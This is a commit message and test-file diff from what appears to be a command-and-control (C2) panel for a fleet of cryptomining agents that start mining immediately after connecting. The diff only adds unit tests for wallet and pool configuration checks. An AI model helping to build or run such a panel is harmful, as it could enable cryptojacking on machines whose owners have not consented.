Start simple-deploy mining immediately after C2 auth.

Simple Deploy agents now kick the in-process chain right after WS connect with always mode and cpu_inprocess policy, recommended forge defaults mine immediately, and the fleet banner auto-restarts stuck agents once.

server/web/src/help/simpleDeploy.test.ts

@@ -3,6 +3,7 @@ import type { Agent } from '../types';
 import {
   agentsConnectedNotHashing,
   simpleDeployStatus,
+  simpleDeployCalibrateFix,
   simpleMinePreset,
 } from './simpleDeploy';
 
@@ -54,6 +55,21 @@ describe('agentsConnectedNotHashing', () => {
   });
 });
 
+
+describe('simpleDeployCalibrateFix', () => {
+  it('requires wallet in Calibrate', () => {
+    expect(simpleDeployCalibrateFix(agent({ wallet: '' }))).toMatch(/wallet/i);
+  });
+
+  it('surfaces pool fix from mining_block_reason', () => {
+    expect(
+      simpleDeployCalibrateFix(
+        agent({ wallet: '4abc', mining_block_reason: 'pool host not configured — set Calibrate pool' }),
+      ),
+    ).toMatch(/pool/i);
+  });
+});
+
 describe('simpleMinePreset', () => {
   it('disables spread and enables simple_deploy', () => {
     const p = simpleMinePreset();